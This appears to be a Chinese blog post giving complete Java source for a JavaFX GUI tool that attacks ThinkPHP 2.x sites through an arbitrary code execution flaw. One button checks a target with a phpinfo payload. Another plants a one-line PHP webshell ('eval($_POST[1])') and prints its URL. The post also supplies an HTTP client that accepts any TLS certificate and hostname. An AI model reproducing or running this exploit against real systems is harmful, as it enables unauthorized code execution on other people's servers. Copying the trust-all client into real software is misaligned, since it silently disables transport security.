首页 > 其他分享 >一个小demo

一个小demo

时间:2024-12-25 20:30:10浏览次数:4  
标签:java String 一个 demo url new import public

懒得讲了,直接看代码吧

pox.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Gui_demo</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>


    <dependencies>
        <dependency>
            <groupId>com.squareup.okhttp3</groupId>
            <artifactId>okhttp</artifactId>
            <version>4.9.3</version>
        </dependency>


    </dependencies>
</project>
HttpRequest.java
//这个可以直接拿来用
import java.io.IOException;

import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;

public class HttpRequest {
    public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");
    OkHttpClient client = new OkHttpClient();

    public String get(String url) throws IOException {
        Request request = new Request.Builder()
                .url(url)
                .build();

        Response response = client.newCall(request).execute();
        return response.body().string();
    }

    public String post(String url, String json) throws IOException {
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .build();


        Response response = client.newCall(request).execute();
        return response.body().string();
    }


}
Thinkphp.java

import java.io.IOException;

public class Thinkphp {

    public static String run(String target) throws IOException {
        HttpRequest request = new HttpRequest();
//        System.out.println(request.get("http://192.168.126.137:18832/index.php?s=/index/index/name/$%7B@phpinfo()%7D"));
        String response = request.get(target + "index.php?s=/index/index/name/$%7B@phpinfo()%7D");
        return response;

    }


    public static String shell(String target) throws IOException {
        HttpRequest request = new HttpRequest();
        request.get(target + "index.php?s=/index/index/name/${@print(eval($_POST[1]))}");
        String shl = target + "index.php?s=/index/index/name/${@print(eval($_POST[1]))}";
        return shl;
    }

}

GuiDemo.java

import javafx.application.Application;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;

import java.io.IOException;

public class GuiDemo extends Application {      //创建一个GuiDemo类,GuiDemo继承Application类


    @Override
    public void start(Stage primaryStage) throws Exception {
        //标签
        Label label = new Label("请输入目标");
        label.setLayoutX(5);
        label.setLayoutY(10);
        label.setPrefWidth(70);
        label.setPrefHeight(20);
//        label1.setOpacity(0.5);//设置透明度

        //目标文本框
        TextArea textArea = new TextArea();
        textArea.setLayoutX(75);        //设置文本框的横坐标
        textArea.setLayoutY(5);         //设置文本框的纵坐标
        textArea.setPrefWidth(220);     //设置文本框的宽度
        textArea.setPrefHeight(20);     //设置文本框的高度
        textArea.setText("请输入目标ip或者域名......");
        
        //验证按钮
        Button button = new Button("验证");
        button.setLayoutX(310);
        button.setLayoutY(10);
        button.setPrefHeight(20);
        button.setPrefWidth(50);

        //传shell按钮
        Button button1 = new Button("写入一句话木马");
        button1.setLayoutX(370);
        button1.setLayoutY(10);
        button1.setPrefHeight(20);
        button1.setPrefWidth(100);

        //结果文本框
        TextArea textArea1 = new TextArea();
        textArea1.setLayoutX(5);        //设置文本框的横坐标
        textArea1.setLayoutY(50);         //设置文本框的纵坐标
        textArea1.setPrefWidth(500);     //设置文本框的宽度
        textArea1.setPrefHeight(300);     //设置文本框的高度
        textArea1.setWrapText(true);

//        设置按钮鼠标点击事件
        button.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String url = textArea.getText();
                try {
                    String response = Thinkphp.run(url);
                    if (response.contains("PHP Version")) {
                        textArea1.setText("存在此漏洞");
                    }
                } catch (IOException e) {
                    textArea1.setText("不存在此漏洞或者网络异常!!!");
                }
            }
        });
        //如果点击上传一句话按钮,那么先判断漏洞是否存在,如果存在就发送上传一句话请求,并且把一句话链接输出到textArea
        button1.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                String url = textArea.getText();
                try {
                    String response = Thinkphp.run(url);
                    if (response.contains("PHP Version")) {
                        textArea1.setText("一句话木马是:\n" + Thinkphp.shell(url));
                    }

                } catch (IOException e) {

                    textArea1.setText("不存在此漏洞或者网络异常!!!");
                }
            }
        });


        //布局1
        AnchorPane pane1 = new AnchorPane();
        pane1.getChildren().addAll(label, button, button1, textArea, textArea1);
        //场景
        Scene scene1 = new Scene(pane1, 510, 400);
        //主要的舞台/窗口
        primaryStage.setTitle("ThinkPHP 2.x 任意代码执行漏洞 made by yz");
        primaryStage.setScene(scene1);
        /*窗口设置场景*/
        primaryStage.show();

    }

    public static void main(String args[]) {
        launch(args);
    }
}
Main.java

public class Main {
    public static void main(String[] args) {
        GuiDemo.main(args);
    }
}

虽然很简陋,但是基本功能是有了,其他的就是多加一些功能啥的,可以自由发挥。

特别要注意的是,考虑到目标网站可能是 https 网站,那么可以把场面 HttpRequest.java 文件换成以下:


import okhttp3.*;

import javax.net.ssl.*;
import java.io.IOException;

public class HttpRequest {
    public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");

    //    static OkHttpClient client = new OkHttpClient();

    //下面是跳过https网站证书验证的,我直接复制的
    public static OkHttpClient getUnsafeOkHttpClient() {
        try {
            final TrustManager[] trustAllCerts = new TrustManager[]{
                    new X509TrustManager() {
                        @Override
                        public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {
                        }

                        @Override
                        public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {
                        }

                        @Override
                        public java.security.cert.X509Certificate[] getAcceptedIssuers() {
                            return new java.security.cert.X509Certificate[]{};
                        }
                    }
            };

            final SSLContext sslContext = SSLContext.getInstance("SSL");
            sslContext.init(null, trustAllCerts, new java.security.SecureRandom());
            final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();
            OkHttpClient.Builder builder = new OkHttpClient.Builder();
            builder.sslSocketFactory(sslSocketFactory);

            builder.hostnameVerifier(new HostnameVerifier() {
                @Override
                public boolean verify(String hostname, SSLSession session) {
                    return true;
                }
            });

            return builder.build();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }

    public String get(String url) throws IOException {
        Request request = new Request.Builder()
                .url(url)
                .build();
        OkHttpClient client = getUnsafeOkHttpClient();
        Response response = client.newCall(request).execute();
        return response.body().string();
    }

    public String post(String url, String json) throws IOException {
        RequestBody body = RequestBody.create(JSON, json);
        Request request = new Request.Builder()
                .url(url)
                .post(body)
                .build();

        OkHttpClient client = getUnsafeOkHttpClient();
        Response response = client.newCall(request).execute();
        return response.body().string();
    }


}

参考

JAVA-GUI 工具的编写-----事件篇 (qq.com)

标签:java,String,一个,demo,url,new,import,public
From: https://www.cnblogs.com/yingzui/p/18631355

相关文章

  • 一个 Bug JDK 居然改了十年?
    问题现象今天偶然看到了一个JDK的Bug,给大家分享一下。假设现在有如下的代码:List<String>list=newArrayList<>();list.add("1");Object[]array=list.toArray();array[0]=1;System.out.println(Arrays.toString(array));上面的代码是可以正常支执行的,如下图所......
  • 一个GLSL Shader的格式化算法(LALR解析器)
    一个GLSLShader的格式化算法(LALR解析器)在进行OpenGL程序开发时,我需要自行解析`string`类型的Shader代码,抽取出里面的某些变量名和subroutine名。由于找不到可用的GLSLShader解析器,就照着虎书(《现代编译原理-c语言描述》)自己写了个LALRGenerator,实际上包含了(词法分析器+语法......
  • 增加一个表格新增行时的校验demo
    效果图,在新增行时增加空值判断,如果有空值不允许新增行 vue2代码示例<template><divclass="home"><el-form:model="form"ref="form":rules="rules"><el-table:data="form.tableData"styl......
  • 用rust写了一个桌面小游戏,希望大家体验
    使用rust的游戏框架Bevy写了一个桌面游戏《推十点半》。地址https://github.com/davelet/poker-of-ten-half/releases/tag/release-0.1。没有打包,因为还在初期,只是能简单玩。所以需要下载到本地通过cargorun来体验。之前用fltk-rs写的json处理工具也希望大家体验:https:/......
  • PCIe扫盲——一个Memory Read操作的例子
    前面的一系列文章简要地介绍了PCIe总线的结构、事务层、数据链路层和物理层。下面我们用一个简单地的例子来回顾并总结一下。Requester端如下图所示,Requester的应用层(软件层)首先向其事务层发送如下信息:32位(或者64位)的Memory地址,事务类型(TransactionType),数据量(以DW为单位),TC(Traf......
  • DOCPLEX: 热启动!从一个解开始
    热启动热启动(warmstart)是设置一个不错的初始解,能有效加快混合整数规划的求解,下面是DOCPLEX进行热启动的程序fromdocplex.mp.modelimportModelmdl=Model(name='buses')nbbus40=mdl.integer_var(name='nbBus40')nbbus30=mdl.integer_var(name='nbBus30')mdl.add_......
  • vue中做一个最多输入一位小数且可以为负数的输入框(包含最前面最后面为小数点及多个-符
    需求背景日常开发中会有对input做校验的需求 例如做一个只可以输入一位小数及可以为负数的输入框 这时候会出现0开头、多个--、多个小数点插入或开头结尾为小数点的情况实现过程<el-inputstyle="width:80px;"v-model="dataForm.low"......
  • 【Java开发】如何设计一个全局唯一的订单号?
    一、背景介绍二、方案实践2.1方案一:UUID2.2方案二:数据库自增2.3方案三:雪花算法2.4方案四:分布式组件总结一、背景介绍在实际的软件系统开发过程中,由于业务的需要,我们经常需要生成业务单号,例如订单编号、入库单号、投诉服务单号等等,针对这个问题也做......
  • 从底层逻辑证明,编写一个能准确识别不带BOM的文本文件编码是GBK还是UTF8是不可能的
    声明:本文为原装文章,转载请注明出处。经常处理文本文件的小伙伴,有个很头疼的事情,就是如何准确识别一个文本文件到底是什么编码方式,ANSI(也就是GBK)还是UTF8。文本文件,是指以特定的文本编码将每个字符逐个字节存储的一种文件格式,文本文件的常见的扩展名是.txt,但又不一定是.txt,例如......
  • AI大模型应用入门实战与进阶:构建你的第一个大模型:实战指南
    2017年是机器学习领域历史性的一年。GoogleBrain团队的研究人员推出了Transformer,它的性能迅速超越了大多数现有的深度学习方法。著名的注意力机制成为未来Transformer衍生模型的关键组成部分。Transformer架构的惊人之处在于其巨大的灵活性:它可以有效地用于各种机器......